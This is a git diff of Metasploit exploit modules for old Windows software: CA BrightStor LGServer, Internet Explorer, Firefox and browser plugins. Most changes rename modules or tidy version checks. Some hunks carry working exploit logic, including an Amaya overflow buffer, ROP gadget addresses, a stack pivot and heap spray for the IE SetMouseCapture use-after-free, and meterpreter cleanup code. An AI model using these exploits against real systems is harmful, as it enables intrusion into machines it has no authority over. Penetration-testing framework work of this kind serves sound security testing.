+++ b/modules/exploits/windows/brightstor/lgserver_multi.rb
@@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Multiple Commands Buffer Overflow',
+      'Name'           => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
         for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
@@ -59,8 +59,8 @@ class Metasploit3 < Msf::Exploit::Remote
 
     disconnect
 
-    if ( ver and ver =~ /11.1.742/ )
-        return Exploit::CheckCode::Vulnerable
+    if ( ver and ver =~ /11\.1\.742/ )
+        return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
index 69f2d859d9..a06f6de1a8 100644
--- a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
+++ b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
+      'Name'           => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
         for Laptops & Desktops 11.1. By sending a specially crafted request, an attacker could
@@ -58,8 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote
 
     disconnect
 
-    if ( ver and ver =~ /11.1.742/ )
-      return Exploit::CheckCode::Vulnerable
+    if ( ver and ver =~ /11\.1\.742/ )
+      return Exploit::CheckCode::Appears
     end
     return Exploit::CheckCode::Safe
   end
diff --git a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb
index 6184fea782..c648a779c9 100644
--- a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb
+++ b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer (rxsSetDataGrowthScheduleAndFilter) Buffer Overflow',
+      'Name'           => 'CA BrightStor ARCserve for Laptops and Desktops LGServer rxsSetDataGrowthScheduleAndFilter Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
         for Laptops & Desktops 11.1. By sending a specially crafted request (rxsSetDataGrowthScheduleAndFilter),
@@ -58,8 +58,8 @@ class Metasploit3 < Msf::Exploit::Remote
 
     disconnect
 
-    if ( ver and ver =~ /11.1.742/ )
-        return Exploit::CheckCode::Vulnerable
+    if ( ver and ver =~ /11\.1\.742/ )
+        return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb
index b2350639b3..ff4e654f26 100644
--- a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb
+++ b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'CA BrightStor ARCserve for Laptops & Desktops LGServer Buffer Overflow',
+      'Name'           => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Buffer Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
         for Laptops & Desktops 11.1. By sending a specially crafted request (rxsUseLicenseIni), an
@@ -57,8 +57,8 @@ class Metasploit3 < Msf::Exploit::Remote
 
     disconnect
 
-    if ( ver and ver =~ /11.1.742/ )
-        return Exploit::CheckCode::Vulnerable
+    if ( ver and ver =~ /11\.1\.742/ )
+        return Exploit::CheckCode::Appears
     end
 
     return Exploit::CheckCode::Safe
diff --git a/modules/exploits/windows/browser/amaya_bdo.rb b/modules/exploits/windows/browser/amaya_bdo.rb
index 6911199f13..4f4966d7b7 100644
--- a/modules/exploits/windows/browser/amaya_bdo.rb
+++ b/modules/exploits/windows/browser/amaya_bdo.rb
@@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
     # Set the exploit buffer
     sploit = "<bdo dir=\""
-    sploit += "\x41" * 6889
+    sploit += rand_text_alpha(6889)
     sploit += "\x74\x06\x41\x41"
     sploit += [target.ret].pack('V')
     sploit += "\x68\x7f\x01\x01\x7f"   # push 7F01017F
diff --git a/modules/exploits/windows/browser/dxstudio_player_exec.rb b/modules/exploits/windows/browser/dxstudio_player_exec.rb
index 7111d8b323..4f53c8192d 100644
--- a/modules/exploits/windows/browser/dxstudio_player_exec.rb
+++ b/modules/exploits/windows/browser/dxstudio_player_exec.rb
@@ -14,21 +14,21 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Worldweaver DX Studio Player <= 3.0.29 shell.execute() Command Execution',
+      'Name'           => 'Worldweaver DX Studio Player shell.execute() Command Execution',
       'Description'    => %q{
-          This module exploits a command execution vulnerability within the
-        DX Studio Player from Worldweaver. The player is a browser plugin for
-        IE (ActiveX) and Firefox (dll). When an unsuspecting user visits a web
-        page referring to a specially crafted .dxstudio document, an attacker can
-        execute arbitrary commands.
+        This module exploits a command execution vulnerability within the DX
+        Studio Player from Worldweaver for versions 3.0.29 and earlier. The
+        player is a browser plugin for IE (ActiveX) and Firefox (dll). When an
+        unsuspecting user visits a web page referring to a specially crafted
+        .dxstudio document, an attacker can execute arbitrary commands.
 
-        Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20 and
-        IE 6 on Windows XP SP3. In IE, the user will be prompted if they wish to allow
-        the plug-in to access local files. This prompt appears to occur only once per
-        server host.
+        Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20
+        and IE 6 on Windows XP SP3. In IE, the user will be prompted if they
+        wish to allow the plug-in to access local files. This prompt appears to
+        occur only once per server host.
 
-        NOTE: This exploit uses additionally dangerous script features to write to
-        local files!
+        NOTE: This exploit uses additionally dangerous script features to write
+        to local files!
       },
       'License'        => MSF_LICENSE,
       'Author'         => [ 'jduck' ],
diff --git a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
index b45c11bdb7..626da8d3a4 100644
--- a/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
+++ b/modules/exploits/windows/browser/honeywell_hscremotedeploy_exec.rb
@@ -68,13 +68,11 @@ class Metasploit3 < Msf::Exploit::Remote
   def on_new_session(session)
     if session.type == "meterpreter"
       session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
-    end
 
-    @dropped_files.delete_if do |file|
-      win_file = file.gsub("/", "\\\\")
-      if session.type == "meterpreter"
+      @dropped_files.delete_if do |file|
+        win_file = file.gsub("/", "\\\\")
         begin
-          wintemp = session.fs.file.expand_path("%TEMP%")
+          wintemp = session.sys.config.getenv('TEMP')
           win_file = "#{wintemp}\\#{win_file}"
           session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
           session.fs.file.rm(win_file)
@@ -84,7 +82,6 @@ class Metasploit3 < Msf::Exploit::Remote
           print_error("Failed to delete #{win_file}")
           false
         end
-
       end
     end
   end
diff --git a/modules/exploits/windows/browser/honeywell_tema_exec.rb b/modules/exploits/windows/browser/honeywell_tema_exec.rb
index 6ffb606ea9..7138d2004d 100644
--- a/modules/exploits/windows/browser/honeywell_tema_exec.rb
+++ b/modules/exploits/windows/browser/honeywell_tema_exec.rb
@@ -74,13 +74,11 @@ class Metasploit3 < Msf::Exploit::Remote
   def on_new_session(session)
     if session.type == "meterpreter"
       session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
-    end
 
-    @dropped_files.each do |file|
-      win_file = file.gsub("/", "\\\\")
-      if session.type == "meterpreter"
+      @dropped_files.each do |file|
+        win_file = file.gsub("/", "\\\\")
         begin
-          wintemp = session.fs.file.expand_path("%WINDIR%")
+          wintemp = session.sys.config.getenv('WINDIR')
           win_file = "#{wintemp}\\Temp\\#{win_file}"
           # Meterpreter should do this automatically as part of
           # fs.file.rm().  Until that has been implemented, remove the
@@ -93,7 +91,6 @@ class Metasploit3 < Msf::Exploit::Remote
           print_error("Failed to delete #{win_file}")
           false
         end
-
       end
     end
 
@@ -169,4 +166,4 @@ class Metasploit3 < Msf::Exploit::Remote
 
   end
 
-end
\ No newline at end of file
+end
diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb
index 7ea0cc7822..819e5f14d1 100644
--- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb
+++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb
@@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
+      'Name'           => "MS13-008 Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability",
       'Description'    => %q{
           This module exploits a vulnerability found in Microsoft Internet Explorer. A
         use-after-free condition occurs when a CButton object is freed, but a reference
diff --git a/modules/exploits/windows/browser/ie_createobject.rb b/modules/exploits/windows/browser/ie_createobject.rb
index 14309fb53d..89e12d38df 100644
--- a/modules/exploits/windows/browser/ie_createobject.rb
+++ b/modules/exploits/windows/browser/ie_createobject.rb
@@ -46,7 +46,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer COM CreateObject Code Execution',
+      'Name'           => 'MS06-014 Microsoft Internet Explorer COM CreateObject Code Execution',
       'Description'    => %q{
           This module exploits a generic code execution vulnerability in Internet
         Explorer by abusing vulnerable ActiveX objects.
diff --git a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb
index 5227a8a753..9ac57083b2 100644
--- a/modules/exploits/windows/browser/ie_iscomponentinstalled.rb
+++ b/modules/exploits/windows/browser/ie_iscomponentinstalled.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer isComponentInstalled Overflow',
+      'Name'           => 'Microsoft Internet Explorer isComponentInstalled Overflow',
       'Description'    => %q{
           This module exploits a stack buffer overflow in Internet Explorer. This bug was
         patched in Windows 2000 SP4 and Windows XP SP1 according to MSRC.
diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
index 2481314107..bc5f6c7855 100644
--- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
+++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
@@ -8,12 +8,11 @@ require 'msf/core'
 class Metasploit3 < Msf::Exploit::Remote
   Rank = NormalRanking
 
-  include Msf::Exploit::Remote::HttpServer::HTML
-  include Msf::Exploit::RopDb
+  include Msf::Exploit::Remote::BrowserExploitServer
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => "Microsoft Internet Explorer SetMouseCapture Use-After-Free",
+      'Name'           => "MS13-080 Microsoft Internet Explorer SetMouseCapture Use-After-Free",
       'Description'    => %q{
           This module exploits a use-after-free vulnerability that currents targets Internet
           Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11.
@@ -35,7 +34,6 @@ class Metasploit3 < Msf::Exploit::Remote
 
           To mimic the same exploit found in the wild, this module will try to use the same DLL
           from Microsoft Office 2007 or 2010 to leverage the attack.
-
       },
       'License'        => MSF_LICENSE,
       'Author'         =>
@@ -53,10 +51,18 @@ class Metasploit3 < Msf::Exploit::Remote
           [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free' ]
         ],
       'Platform'       => 'win',
+      'BrowserRequirements' =>
+        {
+          :source    => /script/i,
+          :os_name   => OperatingSystems::WINDOWS,
+          :ua_name   => HttpClients::IE,
+          :ua_ver    => "9.0",
+          :os_flavor => "7",
+          :office    => /2007|2010/
+        },
       'Targets'        =>
         [
-          [ 'Automatic', {} ],
-          [ 'IE 9 on Windows 7 SP1 with Microsoft Office 2007 or 2010', {} ]
+          [ 'Automatic', {} ]
         ],
       'Payload'        =>
         {
@@ -73,55 +79,17 @@ class Metasploit3 < Msf::Exploit::Remote
       'DefaultTarget'  => 0))
   end
 
-  def is_win7_ie9?(agent)
-    (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/)
-  end
-
-  def get_preq_html(cli, req)
-    %Q|
-<html>
-<script>
-  function getDLL() {
-    var checka = 0;
-    var checkb = 0;
-
-    try {
-      checka = new ActiveXObject("SharePoint.OpenDocuments.4");
-    } catch (e) {}
-
-    try {
-      checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
-    } catch (e) {}
-
-    if ((typeof checka) == "object" && (typeof checkb) == "object") {
-      return "office2010";
-    }
-    else if ((typeof checka) == "number" && (typeof checkb) == "object") {
-      return "office2007";
-    }
-
-    return "na";
-  }
-
-  window.onload = function() {
-    document.location = "#{get_resource.chomp("/")}/#{@exploit_page}?dll=" + getDLL();
-  }
-</script>
-</html>
-    |
-  end
-
   def junk
     return rand_text_alpha(4).unpack("V")[0].to_i
   end
 
-  def get_payload(rop_dll)
+  def get_payload(target_info)
     code = payload.encoded
     rop  = ''
     alignment = ''
 
-    case rop_dll
-    when :office2007
+    case target_info[:office]
+    when '2007'
       alignment =
       [
         junk,        # Alignment
@@ -129,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
       rop = generate_rop_payload('hxds', code, { 'target'=>'2007' })
 
-    when :office2010
+    when '2010'
       alignment =
       [
         # 4 dword junks due to the add esp in stack pivot
@@ -148,10 +116,10 @@ class Metasploit3 < Msf::Exploit::Remote
     p
   end
 
-  def get_exploit_html(cli, req, rop_dll)
+  def get_exploit_html(cli, target_info)
     gadgets = {}
-    case rop_dll
-    when :office2007
+    case target_info[:office]
+    when '2007'
       gadgets[:spray1] = 0x1af40020
 
       # 0x31610020-0xc4, pointer to gadgets[:call_eax]
@@ -173,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote
       # ret
       gadgets[:pivot] = 0x51be4418
 
-    when :office2010
+    when '2010'
       gadgets[:spray1] = 0x1a7f0020
 
       # 0x30200020-0xc4, pointer to gadgets[:call_eax]
@@ -199,12 +167,10 @@ class Metasploit3 < Msf::Exploit::Remote
       gadgets[:pivot]    # stack pivot
     ].pack("V*")
 
-    p1 << get_payload(rop_dll)
+    p1 << get_payload(target_info)
 
-    p2 =
-    [
-      gadgets[:call_eax] # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax)
-    ].pack("V*")
+    # MSHTML!CTreeNode::NodeAddRef+0x48 (call eax)
+    p2 = [ gadgets[:call_eax] ].pack("V*")
 
     js_s1 = Rex::Text::to_unescape([gadgets[:spray1]].pack("V*"))
     js_p1 = Rex::Text.to_unescape(p1)
@@ -272,42 +238,11 @@ window.onload = function() {
     |
   end
 
-  def on_request_uri(cli, request)
-    agent = request.headers['User-Agent']
-    unless is_win7_ie9?(agent)
-      print_error("Not a suitable target: #{agent}")
-      send_not_found(cli)
-    end
-
-    html = ''
-    if request.uri =~ /\?dll=(\w+)$/
-      rop_dll = ''
-      if $1 == 'office2007'
-        print_status("Using Office 2007 ROP chain")
-        rop_dll = :office2007
-      elsif $1 == 'office2010'
-        print_status("Using Office 2010 ROP chain")
-        rop_dll = :office2010
-      else
-        print_error("Target does not have Office installed")
-        send_not_found(cli)
-        return
-      end
-
-      html = get_exploit_html(cli, request, rop_dll)
-    else
-      print_status("Checking target requirements...")
-      html = get_preq_html(cli, request)
-    end
-
+  def on_request_exploit(cli, request, target_info)
+    html = get_exploit_html(cli, target_info)
     send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
   end
 
-  def exploit
-    @exploit_page = "default.html"
-    super
-  end
-
 end
 
 =begin
diff --git a/modules/exploits/windows/browser/ie_unsafe_scripting.rb b/modules/exploits/windows/browser/ie_unsafe_scripting.rb
index 2738d40f38..d699ef0a16 100644
--- a/modules/exploits/windows/browser/ie_unsafe_scripting.rb
+++ b/modules/exploits/windows/browser/ie_unsafe_scripting.rb
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer Unsafe Scripting Misconfiguration',
+      'Name'           => 'Microsoft Internet Explorer Unsafe Scripting Misconfiguration',
       'Description'    => %q{
         This exploit takes advantage of the "Initialize and script ActiveX controls not
       marked safe for scripting" setting within Internet Explorer.  When this option is set,
@@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
       'Author'         =>
         [
           'natron',
-          'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # PSH and remove ADODB.Stream
+          'Ben Campbell' # PSH and remove ADODB.Stream
         ],
         'References'     =>
         [
diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb
index f866e2d890..987a845394 100644
--- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb
+++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability',
+      'Name'           => 'Firefox nsSVGValue Out-of-Bounds Access Vulnerability',
       'Description'    => %q{
         This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1).
         The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y)
diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb
index 72846fe0da..54a7b3e05e 100644
--- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb
+++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'MS03-020 Internet Explorer Object Type',
+      'Name'           => 'MS03-020 Microsoft Internet Explorer Object Type',
       'Description'    => %q{
           This module exploits a vulnerability in Internet Explorer's
         handling of the OBJECT type attribute.
diff --git a/modules/exploits/windows/browser/ms06_013_createtextrange.rb b/modules/exploits/windows/browser/ms06_013_createtextrange.rb
index b9a7b6fe36..396f5ba801 100644
--- a/modules/exploits/windows/browser/ms06_013_createtextrange.rb
+++ b/modules/exploits/windows/browser/ms06_013_createtextrange.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer createTextRange() Code Execution',
+      'Name'           => 'MS06-013 Microsoft Internet Explorer createTextRange() Code Execution',
       'Description'    => %q{
           This module exploits a code execution vulnerability in Microsoft Internet Explorer.
         Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory  in a way, which, under
diff --git a/modules/exploits/windows/browser/ms06_055_vml_method.rb b/modules/exploits/windows/browser/ms06_055_vml_method.rb
index 3dcbbccbd5..eb421d6fd3 100644
--- a/modules/exploits/windows/browser/ms06_055_vml_method.rb
+++ b/modules/exploits/windows/browser/ms06_055_vml_method.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer VML Fill Method Code Execution',
+      'Name'           => 'MS06-055 Microsoft Internet Explorer VML Fill Method Code Execution',
       'Description'    => %q{
           This module exploits a code execution vulnerability in Microsoft Internet Explorer using
         a buffer overflow in the VML processing code (VGX.dll). This module has been tested on
diff --git a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb
index de4301f669..6852ac78bc 100644
--- a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb
+++ b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
+      'Name'           => 'MS06-057 Microsoft Internet Explorer WebViewFolderIcon setSlice() Overflow',
       'Description'    => %q{
         This module exploits a flaw in the WebViewFolderIcon ActiveX control
       included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb
index 607cc5e58f..4b031a6cdf 100644
--- a/modules/exploits/windows/browser/ms06_067_keyframe.rb
+++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb
@@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',
+      'Name'           => 'MS06-067 Microsoft Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability',
       'Description'    => %q{
         This module exploits a heap overflow vulnerability in the KeyFrame method of the
         direct animation ActiveX control.  This is a port of the exploit implemented by
diff --git a/modules/exploits/windows/browser/ms06_071_xml_core.rb b/modules/exploits/windows/browser/ms06_071_xml_core.rb
index 9e8274a103..95f82a1016 100644
--- a/modules/exploits/windows/browser/ms06_071_xml_core.rb
+++ b/modules/exploits/windows/browser/ms06_071_xml_core.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer XML Core Services HTTP Request Handling',
+      'Name'           => 'MS06-071 Microsoft Internet Explorer XML Core Services HTTP Request Handling',
       'Description'    => %q{
           This module exploits a code execution vulnerability in Microsoft XML Core Services which
         exists in the XMLHTTP ActiveX control. This module is the modifed version of
diff --git a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb
index 31fc8794b7..667416ee8d 100644
--- a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb
+++ b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb
@@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer Data Binding Memory Corruption',
+      'Name'           => 'MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption',
       'Description'    => %q{
         This module exploits a vulnerability in the data binding feature of Internet
       Explorer. In order to execute code reliably, this module uses the .NET DLL
diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
index 635c0a5b8a..d74b858f9f 100644
--- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
+++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb
@@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption',
+      'Name'           => 'MS09-002 Microsoft Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption',
       'Description'    => %q{
         This module exploits an error related to the CFunctionPointer function when attempting
         to access uninitialized memory. A remote attacker could exploit this vulnerability to
diff --git a/modules/exploits/windows/browser/ms09_072_style_object.rb b/modules/exploits/windows/browser/ms09_072_style_object.rb
index c33b60fee7..bab3942f4a 100644
--- a/modules/exploits/windows/browser/ms09_072_style_object.rb
+++ b/modules/exploits/windows/browser/ms09_072_style_object.rb
@@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer Style getElementsByTagName Memory Corruption',
+      'Name'           => 'MS09-072 Microsoft Internet Explorer Style getElementsByTagName Memory Corruption',
       'Description'    => %q{
         This module exploits a vulnerability in the getElementsByTagName function
       as implemented within Internet Explorer.
diff --git a/modules/exploits/windows/browser/ms10_002_aurora.rb b/modules/exploits/windows/browser/ms10_002_aurora.rb
index 31049e7c9b..99e8489bbd 100644
--- a/modules/exploits/windows/browser/ms10_002_aurora.rb
+++ b/modules/exploits/windows/browser/ms10_002_aurora.rb
@@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer "Aurora" Memory Corruption',
+      'Name'           => 'MS10-002 Microsoft Internet Explorer "Aurora" Memory Corruption',
       'Description'    => %q{
           This module exploits a memory corruption flaw in Internet Explorer. This
         flaw was found in the wild and was a key component of the "Operation Aurora"
diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb
index 672a16a447..89c80016a7 100644
--- a/modules/exploits/windows/browser/ms10_002_ie_object.rb
+++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb
@@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info={})
     super(update_info(info,
-      'Name'           => "MS10-002 Internet Explorer Object Memory Use-After-Free",
+      'Name'           => "MS10-002 Microsoft Internet Explorer Object Memory Use-After-Free",
       'Description'    => %q{
           This module exploits a vulnerability found in Internet Explorer's
         mshtml component.  Due to the way IE handles objects in memory, it is
diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb
index 957a4d8908..8e4f2b59ee 100644
--- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb
+++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb
@@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer DHTML Behaviors Use After Free',
+      'Name'           => 'MS10-018 Microsoft Internet Explorer DHTML Behaviors Use After Free',
       'Description'    => %q{
           This module exploits a use-after-free vulnerability within the DHTML behaviors
         functionality of Microsoft Internet Explorer versions 6 and 7. This bug was
diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb
index 542c26b8fa..36f639bb3b 100644
--- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb
+++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb
@@ -12,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer Tabular Data Control ActiveX Memory Corruption',
+      'Name'           => 'MS10-018 Microsoft Internet Explorer Tabular Data Control ActiveX Memory Corruption',
       'Description'    => %q{
           This module exploits a memory corruption vulnerability in the Internet Explorer
         Tabular Data ActiveX Control. Microsoft reports that version 5.01 and 6 of Internet
diff --git a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb
index 44e448e290..0e2bbd507f 100644
--- a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb
+++ b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb
@@ -16,7 +16,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer Winhlp32.exe MsgBox Code Execution',
+      'Name'           => 'MS10-022 Microsoft Internet Explorer Winhlp32.exe MsgBox Code Execution',
       'Description'    => %q{
           This module exploits a code execution vulnerability that occurs when a user
         presses F1 on MessageBox originated from VBscript within a web page. When the
diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
index 0649d42364..9ed6fabced 100644
--- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
+++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb
@@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer CSS SetUserClip Memory Corruption',
+      'Name'           => 'MS10-090 Microsoft Internet Explorer CSS SetUserClip Memory Corruption',
       'Description'    => %q{
           Thie module exploits a memory corruption vulnerability within Microsoft's
         HTML engine (mshtml). When parsing an HTML page containing a specially
diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb
index 9a6010dcb2..6de2bbee6e 100644
--- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb
+++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb
@@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def initialize(info = {})
     super(update_info(info,
-      'Name'           => 'Internet Explorer CSS Recursive Import Use After Free',
+      'Name'           => 'MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free',
       'Description'    => %q{
